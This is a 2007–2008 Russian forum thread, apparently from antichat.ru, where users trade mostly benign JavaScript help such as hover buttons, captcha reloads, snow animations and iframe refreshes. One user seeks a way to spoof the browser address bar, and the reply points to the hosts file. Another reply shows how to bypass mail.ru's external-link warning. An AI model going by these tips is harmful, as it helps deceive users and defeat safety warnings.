нужно чтоб при наведении фоном кнопки становилась картинка img2.jpg

Helios
20.12.2007, 23:35
В простом случае:

<input type=button style="background: url('img1.jpg')" value=abc id="mybutton">

<script>
var btn = document.getElementById('mybutton');
btn.onMouseOver = function()
{
btn.style.backgroundImage = 'img2.jpg';
}
btn.onMouseOut = function()
{
btn.style.backgroundImage = 'img1.jpg';
}
</script>


Но в этом случае картинка не кешируется, а подгружается каждый раз.

Лучший вариант: сделать две картинки одной
---------
| img1 |
---------
| img2 |
---------
с учетом того, что размеры исходных картинок одинаковы.

После чего в стилях кнопки прописываешь ширину(равна ширине фона) и высоту (половина высоты получившейся картинки):


<style>
#mybutton
{
height: 20px;
width: 100px;
background: #fff url('mybigimage.gif') no-repeat;
background-position: top left;
}
</style>

<input type=button value=abc id="mybutton">

<script>
var btn = document.getElementById('mybutton');
btn.onMouseOver = function()
{
btn.style.backgroundPosition = 'bottom left';
}
btn.onMouseOut = function()
{
btn.style.backgroundPosition = 'top left';
}
</script>


В этом случае катринка одна, загружается один раз, просто "передвигается" под кнопкой => время ни на запрос к кешу, ни к серверу не тратится => работает быстро и не напрягает юзверей (особенно Оперы с всплывающей статусной строкой)

Пример более сложного использования - mootools.net - вкладки вверху страницы и попроще - лого внизу страницы (там же)

Dimi4
20.12.2007, 23:37
Аналогично, при попадании указателя мыши на картинку происходит замена картинки на другое изображение. Для этого присвойте имя исходной картинке (напр. name="cat1") и прописываете необходимые данные
<a href="http://winchanger.narod.ru/" onmouseover="document.cat1.src='../32.jpg';" onmouseout="document.cat1.src='../18.jpg';"><img src="../18.jpg" name="cat1"></a>
<hr>
Можна попробовать из етого сделать
(с) учебник

Neovild
21.12.2007, 00:34
Можно ли и если да, то как чтобы на сайте проигрывался 3gp ролик?

Dimi4
21.12.2007, 00:54
Можно ли и если да, то как чтобы на сайте проигрывался 3gp ролик?
по-моему можно.Если в юзверя стоит Quick Time (или как его там???) то подищи обычный скрипт плеера

XopoIII
23.12.2007, 10:38
<input type=\"button\" value=\"Зайти\" onclick=\"window.open('firth.php','firth','top=0, left=0,menubar=no, scrollbars=no, width='+screen.width+', height='+screen.height);\">


как сделать чтобы при узнавании расширения, новое окно не закрывало пуск=(

bul.666
24.12.2007, 08:09
каким криптором зашифрован этот скрипт
ХЗ каким, но похоже (как мне показалось) на сам алгоритм шифрования...

bul.666
24.12.2007, 08:19
2XopoIII:

top=1

astrologer
24.12.2007, 21:22
Расшифровал, но стоит проверить код - он может не работать, т.к.
1) Форум разбивает длинные сплошные строки пробелами
2) В процессе приведения к более читаемому виду скрипт мог побиться
:function showBusyLayer(){
var a=document.getElementById("busy_layer");
if(window.innerHeight&&window.scrollMaxY){
yScroll=window.innerHeight+window.scrollMaxY;
var b=document.documentElement;
var c=(b&&b.clientHeight)||document.body.clientHeight||windo w.innerHeight||self.innerHeight;
yScroll-=(window.innerHeight-c)
}
else if(document.body.scrollHeight>document.body.offsetHeight||document.body.scrollWi dth>document.body.offsetWidth){
yScroll=document.body.scrollHeight
}
else{
yScroll=document.body.offsetHeight
}
if(a!=null){
a.style.visibility="visible";
a.style.height=yScroll
}
};
function hideBusyLayer(){
var a=document.getElementById("busy_layer");
if(a!=null){
a.style.visibility="hidden";
a.style.height="0px"
}
};
function _get_obj_toppos(a){
var b=a.offsetTop;
while((a=a.offsetParent)!=null){
b+=a.offsetTop
}
return b
};
function center_div(){
this.divname='';
this.divobj=''
};
center_div.prototype.clear_div=function(){
try{
if(!this.divobj){
return
}
else{
this.divobj.style.display='none'
}
}
catch(e){
return
}
};
center_div.prototype.Ywindow=function(){
var a=0;
if(document.documentElement&&document.documentElement.scrollTop){
a=document.documentElement.scrollTop
}
else if(document.body&&document.body.scrollTop){
a=document.body.scrollTop
}
else if(window.pageYOffset){
a=window.pageYOffset
}
else if(window.scrollY){
a=window.scrollY
}
return a
};
center_div.prototype.move_div=function(){
try{
this.divobj=document.getElementById(this.divname)
}
catch(e){
return
}
var a=0;
var b=0;
if(typeof(window.innerWidth)=='number'){
a=window.innerWidth;
b=window.innerHeight
}
else if(document.documentElement&&(document.documentElement.clientWidth||document.do cumentElement.clientHeight)){
a=document.documentElement.clientWidth;
b=document.documentElement.clientHeight
}
else if(document.body&&(document.body.clientWidth||document.body.clientHe ight)){
a=document.body.clientWidth;
b=document.body.clientHeight
}
this.divobj.style.position='absolute';
this.divobj.style.display='block';
this.divobj.style.zIndex=99;
var c=parseInt(this.divobj.style.Height);
var d=parseInt(this.divobj.style.Width);
c=c?c:50;
d=d?d:200;
var f=this.Ywindow();
var g=(a-d)/2;
var h=(b-c)/2+f;
g=(g<0)?0:g;
h=(h<0)?0:h;
this.divobj.style.left=g+"px";
this.divobj.style.top=h+"px"
};
function dle_ajax(p){
this.AjaxFailedAlert="AJAX not supported.\n";
this.requestFile=p;
this.method="POST";
this.URLString="";
this.encodeURIString=true;
this.execute=false;
this.add_html=false;
this.loading_fired=0;
this.centerdiv=null;
this.onLoading=function(){
};
this.onLoaded=function(){
};
this.onInteractive=function(){
};
this.onCompletion=function(){
};
this.onShow=function(a){
if(!this.loading_fired){
this.loading_fired=1;
if(a){
document.getElementById('loading-layer-text').innerHTML=a
}
this.centerdiv=new center_div();
this.centerdiv.divname='loading-layer';
this.centerdiv.move_div()
}
return
};
this.onHide=function(){
try{
if(this.centerdiv&&this.centerdiv.divobj){
this.centerdiv.clear_div()
}
}
catch(e){
}
this.loading_fired=0;
return
};
this.createAJAX=function(){
try{
this.xmlhttp=new ActiveXObject("Msxml2.XMLHTTP")
}
catch(e){
try{
this.xmlhttp=new ActiveXObject("Microsoft.XMLHTTP")
}
catch(err){
this.xmlhttp=null
}
}
if(!this.xmlhttp&&typeof XMLHttpRequest!="undefined")this.xmlhttp=new XMLHttpRequest();
if(!this.xmlhttp){
this.failed=true
}
};
this.setVar=function(a,b){
if(this.URLString.length<3){
this.URLString=a+"="+b
}
else{
this.URLString+="&"+a+"="+b
}
};
this.encVar=function(a,b){
var c=encodeURIComponent(a)+"="+encodeURIComponent(b);
return c
};
this.encodeURLString=function(a){
varArray=a.split('&');
for(i=0;i<varArray.length;i++){
urlVars=varArray[i].split('=');
if(urlVars[0].indexOf('amp;')!=-1){
urlVars[0]=urlVars[0].substring(4)
}
varArray[i]=this.encVar(urlVars[0],urlVars[1])
}
return varArray.join('&')
};
this.encodeVAR=function(a){
a=a.toString();
var b=a.match(/[\x90-\xFF]/g);
if(b){
for(var i=0;i<i.length;i++){
a=a.replace(b[i],'%u00'+(b[i].charCodeAt(0)&0xFF).toString(16).toUpperCase())
}
}
return escape(a).replace(/\+/g,"%2B")
};
this.runResponse=function(){
var a=new Date;
var b=false;
a=a.getTime();
var c=/<script.*?>(.|[\r\n])*?<\/script>/ig;
var d=c.exec(this.response);
if(d!=null){
var e=new Array(d.shift());
var b=true;
while(d){
d=c.exec(this.response);
if(d!=null)e.push(d.shift())
}
for(var i=0;i<e.length;i++){
this.response=this.response.replace(e[i],'<span id="'+a+i+'" style="display:none;"></span>')
}
}
if(this.add_html){
this.elementObj.innerHTML+=this.response
}
else{
this.elementObj.innerHTML=this.response
}
if(b){
var f=/<script.*?>((.|[\r\n])*?)<\/script>/ig;
for(i=0;i<e.length;i++){
var g=document.getElementById(a+''+i);
var h=g.parentNode;
h.removeChild(g);
f.lastIndex=0;
var k=f.exec(e[i]);
var l=h.appendChild(document.createElement('script'));
l.text=k[1];
var m=e[i].substring(e[i].indexOf(' ',0),e[i].indexOf('>',0));
var n=m.split(' ');
if(n.length>1){
for(var j=0;j<n.length;j++){
if(n[j].length>0){
var o=n[j].split('=');
o[1]=o[1].substr(1,(o[1].length-2));
l.setAttribute(o[0],o[1])
}
}
}
}
}
};
this.sendAJAX=function(b){
this.responseStatus=new Array(2);
if(this.failed&&this.AjaxFailedAlert){
alert(this.AjaxFailedAlert)
}
else{
if(b){
if(this.URLString.length){
this.URLString=this.URLString+"&"+b
}
else{
this.URLString=b
}
}
if(this.encodeURIString){
var c=new Date().getTime();
this.URLString=this.encodeURLString(this.URLString );
this.setVar("rndval",c)
}
if(this.element){
this.elementObj=document.getElementById(this.eleme nt)
}
if(this.xmlhttp){
var d=this;
if(this.method=="GET"){
var f=this.requestFile+"?"+this.URLString;
this.xmlhttp.open(this.method,f,true)
}
else{
this.xmlhttp.open(this.method,this.requestFile,tru e)
}
if(this.method=="POST"){
try{
this.xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded')
}
catch(e){
}
}
this.xmlhttp.send(this.URLString);
this.xmlhttp.onreadystatechange=function(){
switch(d.xmlhttp.readyState){
case 1:d.onLoading();
break;
case 2:d.onLoaded();
break;
case 3:d.onInteractive();
break;
case 4:d.response=d.xmlhttp.responseText;
d.responseXML=d.xmlhttp.responseXML;
d.responseStatus[0]=d.xmlhttp.status;
d.responseStatus[1]=d.xmlhttp.statusText;
d.onHide();
d.onCompletion();
if(d.elementObj){
var a=d.elementObj.nodeName;
a=a.toLowerCase();
if(a=="input"||a=="select"||a=="option"||a=="textarea"){
if(d.response=='error'){
alert('Доступ отклонен')
}
else{
if(d.add_html){
d.elementObj.value+=d.response
}
else{
d.elementObj.value=d.response
}
}
}
else{
if(d.response=='error'){
alert('Доступ отклонен')
}
else{
if(d.execute){
d.runResponse()
}
else{
if(d.add_html){
d.elementObj.innerHTML+=d.response
}
else{
d.elementObj.innerHTML=d.response
}
}
}
}
}
d.URLString="";
break
}
}
}
}
};
this.createAJAX()
};

Macro
24.12.2007, 23:14
VOLAND']Кто-нибудь знает каким криптором зашифрован этот скрипт? Очень нужно расшифровать...

Такие скрипты очень просто расшифровать.
Заменяешь eval на document.write и перед этим и после этого пишешь textarea

astrologer
24.12.2007, 23:39
Такие скрипты очень просто расшифровать.
Заменяешь eval на document.write и перед этим и после этого пишешь textarea
Точно. JS вообще нельзя нормально зашифровать и оставить в рабочем состоянии.
Но я использовал пакер Эдвардса. Он и придумал этот алгоритм, насколько мне известно.
http://dean.edwards.name/packer/

Dimi4
25.12.2007, 19:25
Как реализовать такую штуку:
У нас есть поле:
<input type=text name="abc">
Нужно к ниму кнопочку: Если поле заполненое кнопа антивна, иначе дисейбл

Impuls*
25.12.2007, 19:33
А есть ли скриптик, подделывающий адресную строку браузера? :)
Допустим, пользователь находится на sait.ru, а в url браузера написано google.com
Есть ли такая фишка и для каких браузеров актуальна?

С меня ++ за помощь. Если что - пишите в ПМ :)

dinar_007
25.12.2007, 20:11
А есть ли скриптик, подделывающий адресную строку браузера? :)
Допустим, пользователь находится на sait.ru, а в url браузера написано google.com
Есть ли такая фишка и для каких браузеров актуальна?

С меня ++ за помощь. Если что - пишите в ПМ :)

Если я не ошибаюсь, то так можно сделать, если подредактировать файл hosts...

Impuls*
25.12.2007, 20:22
А поподробнее, как его редактировать и где он находится... :)

Impuls*
26.12.2007, 11:27
VOLAND']
Блин просто смешно... Каждый 2й новичёк пишет это... достали...


Не надо репу, не буду тебе добавлять, это такая плата просто :)

VOLAND']
А самому следить за этой темой происхождение не позволяет?

ПМ на то и пм, что "левые" люди не увидят, если вдруг эта инфа не должна попасть в другие руки, чисто в целях безопасности :p

dinar_007
26.12.2007, 15:17
Как реализовать такую штуку:
У нас есть поле:
<input type=text name="abc">
Нужно к ниму кнопочку: Если поле заполненое кнопа антивна, иначе дисейбл

<html>
<head>
<script>
function check () {
var ref1 = document.getElementById('text');
var ref2 = document.getElementById('button');
if (ref1.value != '') ref2.disabled = false; else ref2.disabled = true;
}
</script>
<head>
<body onload="check()">
<input id="text" type="text" value="" onkeyup="check()" onkeydown="check()" />
<input id="button" type="button" value="Йа мля кнопка нах )))" />
<body/>
<html>

Держи...

spamoney
27.12.2007, 09:11
Всем привет!
Такой вопрос, как сделать, чтобы при нажатии на ссылку перезагружалась только картинка, а не вся страница.
пробывал так:

$content="<a href=\"../kcaptcha/index.php?".session_name()."=".session_id()."\" onclick=\"document.getElementById('image_id').src=this.href; return false;\">Обновить картинку</a>
<img src=\"../kcaptcha/index.php?".session_name()."=".session_id()."\" id=\"image_id\">";

но чет не получается((

З.Ы
картинка это капча, поэтому ссылка на нёё имеет такой вид:
../kcaptcha/index.php?".session_name()."=".session_id()."

groundhog
27.12.2007, 11:51
Да почему сразу Ajax! Можно и банально:

<script>
function reload () {
var blabla = document.getElementById('img');
var img = new Image;
img.src = '../kcaptcha/index.php?session_name=<?=session_id()?>';
blabla.src = img.src;
}
</script>
<!-- Это капча --!>
<img id="img" src="blablabla/yousuck.jpg" />
<input type="button" onclick="reload()" value="RELOAD"/>

astrologer
27.12.2007, 12:28
AJAX тут не при чём - он вернёт только текст.
По-моему, всё дело в кешировании. Картинка не перезагружается, т.к. url остаётся один и тот же.

$out = '
<img src="../kcaptcha/index.php?'.session_name().'='.session_id().'&r='.rand(0,999999).'">
<a href="#" onclick="document.images[0].src=\'../kcaptcha/index.php?'.session_name().'='.session_id().'&r=\'+Math.floor(Math.random()*1000000);return false;">Обновить</a>
';
echo $out;

spamoney
27.12.2007, 13:13
Всем спасибо, astrologer был прав из-за постоянного урла картинки, они повидимому и не менялась...

groundhog
28.12.2007, 11:21
Вообще задача черезжопная и требует черезжопного решения... А почему бы тебе не выделить нужную функцию в js файл и не подключать его по мере надобности? Если задача такого не позволяет тогда вот решение:

index.html:
<html>
<head>
<!-- Обрати внимание, что контейнер с айдишником -->
<script id="target_js">
function foo () {
alert('foo'); // Функция просто выводит 'foo'
}
</script>
</head>
<body>
<!-- Наш фрейм -->
<iframe src="frame.html"></iframe>
<body>
</html>

frame.html:
<html>
<head>
<script>
function bar () {
alert('bar'); // Выводим 'bar'
// Получаем доступ к содержимому яваскрипта из родительской страницы
// и выполняем через eval. После этого в области видимости этой страницы
// будет видна функция родительской страницы и её можно будет вызвать.
eval(parent.document.getElementById('target_js').t ext);
foo();
}
</script>
</head>
<body>
<input type="button" value="Тыкни меня" onclick="bar()">
</body>
</html>

А по второй задаче почитай это:

http://www.mozilla.org/editor/midas-spec.html
http://msdn2.microsoft.com/en-us/library/ms533049.aspx

astrologer
28.12.2007, 17:02
VOLAND']Ежу понятно я и сам так могу зделать. Можно кстати и не юзать id="target_js" и eval(parent.document.getElementById('target_js').t ext); ----- всё и без них работает....

Загвоздка в том что целевая функция ВЛОЖЕНА в другую (родительскую )и именно:
main_function(...)
{
target_function(...){...};
}

Обрати внимание!

Никак. Это вложенная функция будет видна только внутри родительской.
// Читать: никак, если использовать стандартные и не извращённые методы


<script type="text/javascript">
<!--

var main_function = new function()
{
this.target_function = function(){}
}

//-->
</script>
А так - нужная ф-ия будет доступна как main_function.target_function

Если нужно сохранить именно такую структуру, код которой ты привёл, то решение тоже есть, но нужно ли?

----------------------------------------------------------------------

Вот так вроде работает:
1.html

<html>
<head>
<script type="text/javascript">

function wrapper()
{
function needed()
{
alert('Got it!');
}
}

</script>
</head>
<body>
Main<br />
<iframe src="2.html"></iframe>
</body>
</html>
2.html

<html>
<head>
<script type="text/javascript">
function getNeeded()
{
// Переводим функцию в строковый вид для обработки
var str = new String(top.wrapper);

// Удаляем первую фигурную скобку,
// всё, что идёт до неё и последнюю - избавляясь от внешней функции
str = str.replace(/^[^{]+{/, '');
str = str.substring(0, str.length-1);

// Заменяем "закрытые" объявления функций на "открытые"
// Всё это условно, т.к. работаем всё ещё со строкой
// Может понадобиться изменить регулярное выражение
str = str.replace(/function\s*([^\(\s]*)\s*/ig, 'this.$1 = function');

str = new Function(str); // Создаём функцию
var created = new str; // Создаём экземпляр
created.needed(); // Запускаем
}
</script>
</head>
<body>
<a href="#" onclick="getNeeded();return false;">Click</a>
</body>
</html>

astrologer
28.12.2007, 20:50
VOLAND']С горем пополам зделал.
Но опять проблема - почему то вложенная функция alert() работает на ура, а вот this.document.execCommand() напрочь отказывается.
------------------------------------------------------------
Как скопировать выделенный текст из формы?
Конечно не работает. Код не верный.
Думаю, это поможет:
http://xpoint.ru/know-how/WYSIWYG/TrueJavaScriptEditor
http://xpoint.ru/know-how/JavaScript/YemulyatsiyaSelectionStart

.:EnoT:.
29.12.2007, 02:53
Такой вопрос:

Есть некая форма. Так вот если при проверке данных, форма пуста, то нужно чтобы выскакивал алерт с надписью "Не введено сообщение" и при нажатии ОК юзера перебрасывало на определённый адрес..
Вот кусок кода:

if(empty($mess))
{
echo"<a href=\"index.php\" alert(\"Вы не ввели сообщение!\")></a>";
}
Не хрена он не работает, как только не крутился с этим алертом =//
помогите

Joker-jar
29.12.2007, 03:01
echo вообще-то ближе к PHP, в Java-script есть document.write() ;)

astrologer
29.12.2007, 03:21
Зачем алёрт в тэге ссылки?
php:

if(empty($mess))
{
echo
'<script type="text/javascript">
alert("Вы не ввели сообщение!");
document.location.href = "http://ya.ru";
</script>';
}

js:

<html>
<head>

<script type="text/javascript">

function check_form(f)
{
if(f.elements[0].value == '')
{
alert('Вы не ввели сообщение');
document.location.href = 'http://ya.ru';
return false;
}
return true;
}

</script>


</head>
<body>
<form onsubmit="return check_form(this);">
<textarea></textarea>
<input type="submit">
</form>
</body>
</html>

Joker-jar
29.12.2007, 12:17
<script>
function GetText()
{
if (!document.all && !document.all.item)
return "";
var oSelTxt = document.selection.createRange();
return oSelTxt.text;
}
</script>

<form name="forma">
<textarea name="message">Some message</textarea><br>
<input type="button" onclick="alert(GetText())" value="GO!">
</form>
Some text
;)

Joker-jar
30.12.2007, 08:49
У меня в Opera 9.24 и IE 7 все работает

baroncrous
30.12.2007, 13:49
При нажатии на ссылку выводится сообщение типа "Вы действительно хотите перейти по ссылке котороя и покинуть зону ......... Да Нет " Как с помощью Java Script сделать автоматическое нажатие ДА

NOmeR1
30.12.2007, 14:31
При нажатии на ссылку выводится сообщение типа "Вы действительно хотите перейти по ссылке котороя и покинуть зону ......... Да Нет " Как с помощью Java Script сделать автоматическое нажатие ДА
=\ достаточно просто убрать if(confirm(...)) если ты об этом... или ты говоришь про mail.ru?
Если про Mail.ru, то отправляй ссылку в виде <a href =http://forum.antichat.ru/>...</a>

eXp
30.12.2007, 23:08
Вопрос:
как сделать плавное появление объекта (картинки например)?
пробовал так:
document.getElementById("img").style.opacity = 0.5;
но в IE это не работает =\
и главное, как сделать чтобы появлялось плавно?

opacity(90);
function opacity(x) {
document.getElementById("img").style.opacity = x/100;
x -= 1;
if (x>0) setTimeout('opacity('+x+');',50);
}
такой код работает, т.е. картинка исчезает плавно, но происходит это из-за того, что комп сильно нагружается и повлиять на скорость процесса нельзя. В общем, баян этот метод... как это делают нормальные люди? =)

astrologer
31.12.2007, 00:04
1) Первый параметр setTimeout() - должен быть функцией, а не строкой (!).
2) Шаг можно и увеличить - будет, скажем, x -= 5;
3) Не стоит каждый раз вызывать функцию getElementById() - можно сохранить результат (т.е. ссылку на объект) в переменной.
4) Ещё есть setInterval()

eXp
31.12.2007, 00:57
1) Первый параметр setTimeout() - должен быть функцией, а не строкой (!).
а как это? так чтоли:
setTimeout(opacity(x),50);
по-моему так не правильно...
2) Шаг можно и увеличить - будет, скажем, x -= 5;
я так делал... только картинка появляется скачками и скорость изменить нельзя =\
3) Не стоит каждый раз вызывать функцию getElementById() - можно сохранить результат (т.е. ссылку на объект) в переменной.
можно пример кода?
4) Ещё есть setInterval()
тож не помогло =\

Stalk
31.12.2007, 16:57
<script type="text/javascript">
while ((Math.floor(8*Math.random())+1) > 3)
{ var snowval="snow1.gif"; };
while ((Math.floor(8*Math.random())+1) <= 6 )
{ var snowval="snow2.gif"; };
while ((Math.floor(8*Math.random())+1) <= 6 )
{ var snowval="snow3.gif"; };
var numof=Math.floor(10*Math.random()+5);


//Configure below to change URL path to the snow image
var snowsrc = snowval;
// Configure below to change number of snow to render
var no = numof;
// Configure whether snow should disappear after x seconds (0=never):
var hidesnowtime = 0;
// Configure how much snow should drop down before fading ("windowheight" or "pageheight")
var snowdistance = "windowheight";

var ie4up = (document.all) ? 1 : 0;
var ns6up = (document.getElementById&&!document.all) ? 1 : 0;

function iecompattest(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

var dx, xp, yp; // coordinate and position variables
var am, stx, sty; // amplitude and step variables
var i, doc_width = 800, doc_height = 600;

if (ns6up) {
doc_width = self.innerWidth;
doc_height = self.innerHeight;
} else if (ie4up) {
doc_width = iecompattest().clientWidth;
doc_height = iecompattest().clientHeight;
}

dx = new Array();
xp = new Array();
yp = new Array();
am = new Array();
stx = new Array();
sty = new Array();
snowsrc=(snowsrc.indexOf("dynamicdrive.com")!=-1)? "snow.gif" : snowsrc
for (i = 0; i < no; ++ i) {
dx[i] = 0; // set coordinate variables
xp[i] = Math.random()*(doc_width-50); // set position variables
yp[i] = Math.random()*doc_height;
am[i] = Math.random()*20; // set amplitude variables
stx[i] = 0.02 + Math.random()/10; // set step variables
sty[i] = 0.7 + Math.random(); // set step variables
if (ie4up||ns6up) {
if (i == 0) {
document.write("<div id=\"dot"+ i +"\" style=\"POSITION: absolute; Z-INDEX: "+ i +"; VISIBILITY: visible; TOP: 15px; LEFT: 15px;\"><a href=\"http://dynamicdrive.com\"><img src='"+snowsrc+"' border=\"0\"><\/a><\/div>");
} else {
document.write("<div id=\"dot"+ i +"\" style=\"POSITION: absolute; Z-INDEX: "+ i +"; VISIBILITY: visible; TOP: 15px; LEFT: 15px;\"><img src='"+snowsrc+"' border=\"0\"><\/div>");
}
}
}

function snowIE_NS6() { // IE and NS6 main animation function
doc_width = ns6up?window.innerWidth-10 : iecompattest().clientWidth-10;
doc_height=(window.innerHeight && snowdistance=="windowheight")? window.innerHeight : (ie4up && snowdistance=="windowheight")? iecompattest().clientHeight : (ie4up && !window.opera && snowdistance=="pageheight")? iecompattest().scrollHeight : iecompattest().offsetHeight;
for (i = 0; i < no; ++ i) { // iterate for every dot
yp[i] += sty[i];
if (yp[i] > doc_height-50) {
xp[i] = Math.random()*(doc_width-am[i]-30);
yp[i] = 0;
stx[i] = 0.02 + Math.random()/10;
sty[i] = 0.7 + Math.random();
}
dx[i] += stx[i];
document.getElementById("dot"+i).style.top=yp[i]+"px";
document.getElementById("dot"+i).style.left=xp[i] + am[i]*Math.sin(dx[i])+"px";
}
snowtimer=setTimeout("snowIE_NS6()", 10);
}

function hidesnow(){
if (window.snowtimer) clearTimeout(snowtimer)
for (i=0; i<no; i++) document.getElementById("dot"+i).style.visibility="hidden"
}


if (ie4up||ns6up){
snowIE_NS6();
if (hidesnowtime>0)
setTimeout("hidesnow()", hidesnowtime*1000)
}

</script>
Ето скрипт снежка, который летает по сайту, скрипт дето спер, добавил рандомайзер количества снежынок и вида, но как тут сделать шоп снежынки шли в перемешку 3 типа а не 1 случано

eXp
31.12.2007, 18:39
<script type="text/javascript">
var no = Math.floor(10*Math.random()+5);
var hidesnowtime = 0;
var snowdistance = "pageheight";

var ie4up = (document.all) ? 1 : 0;
var ns6up = (document.getElementById&&!document.all) ? 1 : 0;

function iecompattest(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

var dx, xp, yp, img;
var am, stx, sty;
var i, doc_width = 800, doc_height = 600;

if (ns6up) {
doc_width = self.innerWidth;
doc_height = self.innerHeight;
} else if (ie4up) {
doc_width = iecompattest().clientWidth;
doc_height = iecompattest().clientHeight;
}

dx = new Array();
xp = new Array();
yp = new Array();
am = new Array();
stx = new Array();
sty = new Array();
img = new Array();
for (i = 0; i < no; ++ i) {
dx[i] = 0;
xp[i] = Math.random()*(doc_width-50);
yp[i] = Math.random()*doc_height;
am[i] = Math.random()*20;
stx[i] = 0.02 + Math.random()/10;
sty[i] = 0.7 + Math.random();
if (img[i]==''||img[i]=='undefined') {
var rand = Math.floor(10*Math.random());
if (rand>=4)
img[i] = "snow1.gif";
else if (rand>=7)
img[i] = "snow2.gif";
else
img[i] = "snow3.gif";
}
if (ie4up||ns6up) {
document.write("<div id=\"dot"+ i +"\" style=\"POSITION: absolute; Z-INDEX: "+ i +"; VISIBILITY: visible; TOP: 15px; LEFT: 15px;\"><img src='"+img[i]+"' border=\"0\"><\/div>");
}
}

function snowIE_NS6() {
doc_width = ns6up?window.innerWidth-10 : iecompattest().clientWidth-10;
doc_height=(window.innerHeight && snowdistance=="windowheight")? window.innerHeight : (ie4up && snowdistance=="windowheight")? iecompattest().clientHeight : (ie4up && !window.opera && snowdistance=="pageheight")? iecompattest().scrollHeight : iecompattest().offsetHeight;
for (i = 0; i < no; ++ i) {
yp[i] += sty[i];
if (yp[i] > doc_height-50) {
xp[i] = Math.random()*(doc_width-am[i]-30);
yp[i] = 0;
stx[i] = 0.02 + Math.random()/10;
sty[i] = 0.7 + Math.random();
}
dx[i] += stx[i];
document.getElementById("dot"+i).style.top=yp[i]+"px";
document.getElementById("dot"+i).style.left=xp[i] + am[i]*Math.sin(dx[i])+"px";
}
snowtimer=setTimeout("snowIE_NS6()", 10);
}

function hidesnow(){
if (window.snowtimer) clearTimeout(snowtimer)
for (i=0; i<no; i++) document.getElementById("dot"+i).style.visibility="hidden"
}


if (ie4up||ns6up){
snowIE_NS6();
if (hidesnowtime>0)
setTimeout("hidesnow()", hidesnowtime*1000)
}

</script>

так должно работать

Stalk
02.01.2008, 14:34
Где скрипт берет картинку из масива имг? Поетому и андерфайнд возвращает, и вместо снежынок летают значки ))... Допишы плиз )

Piflit
05.01.2008, 00:09
VOLAND']Интересует то что между <script></script>

<meta HTTP-EQUIV="refresh" content="1; URL=index.php">
м?

je0n
05.01.2008, 00:26
[x26]VOLAND
я ниче не проверял и не делал, но на мысль наведу. короче, вывод своего скрипта делаешь не инклудом, а через ифрейм (<ifreim src=your_script.... frameborder=0></iframe>). и в самом твоем скрипте добавляешь такой javascript

setTimeout("document.location='your_script.php'",10000);

страница в ифрейме будет каждые десять секунд обновляться, не затрагивая основную страницу.

параметр frameborder у фрейма - чтобы все четко смотрелось. чтобы не было видно, что это фрейм

Joker-jar
05.01.2008, 10:54
[x26]VOLAND, это через ajax можно замутить

je0n
05.01.2008, 11:19
VOLAND']je0n, Piflit ваши методы работают, но обновляется вся страница а не фрейм. Кстати Iframe не работает, а только frame.
Как собственно на JS обновить содержимое фрейма?
ум.... смотри, короче, на простеньком примере:
файл test.html

<html>
<body>
<h1>ururururu</h1>
<iframe src=1.html name="test"></iframe>
</body>
</html>

файл 1.html

<script>
alert('');
setTimeout("document.location='1.html'",10000);
</script>


у меня вроде перезагружается только ифрейм. юзаю фф. другим ничем не пробовал. попробуй так со своими файлми-скриптами

запускать надо test.html :)

eXp
05.01.2008, 18:51
VOLAND']Есть картинка, заданная простым тегом <img> (без всяких аттрибутов id, name и т.п) внутри тега <div id=bbb>. Эта картинка имеет постоянный адрес. Как средствами JS её обновить?
мб так прокатит

document.getElementById("bbb").innerHTML='<img src="img.jpg?nocache='+Math.floor(1000*Math.random())+'">';


2Stalk все работает. Наверное ты не правильно указал путь к картинке

astrologer
05.01.2008, 19:02
VOLAND']Есть картинка, заданная простым тегом <img> (без всяких аттрибутов id, name и т.п) внутри тега <div id=bbb>. Эта картинка имеет постоянный адрес. Как средствами JS её обновить?var div = document.getElementById('bbb');
var pic = div.getElementsByTagName('img')[0]; // 0 - номер нужной картинки.
Метод обновления картинки на 23 странице.

eXp, мб у него ещё много чего в этом блоке находится, зачем всё стирать?

NOmeR1
05.01.2008, 19:57
<div id="bbb">
<img src="http://forum.antichat.ru/antichat/pic/rac.gif">
</div>
<script>
var src = "http://forum.antichat.ru/antichat/pic/logo.gif";
var div = document.getElementById('bbb');
var pic = div.getElementsByTagName('img')[0];
pic.setAttribute("src", src);
</script>
Тогда уж так.

astrologer
05.01.2008, 20:41
<div id="bbb">
<img src="http://forum.antichat.ru/antichat/pic/rac.gif">
</div>
<script>
var src = "http://forum.antichat.ru/antichat/pic/logo.gif";
var div = document.getElementById('bbb');
var pic = div.getElementsByTagName('img')[0];
pic.setAttribute("src", src);
</script>
Тогда уж так.В том и дело, что картинка не будет обновляться, т.к. src фактически не меняется.
Решение уже было в этой теме, нет смысла переписывать его ещё раз.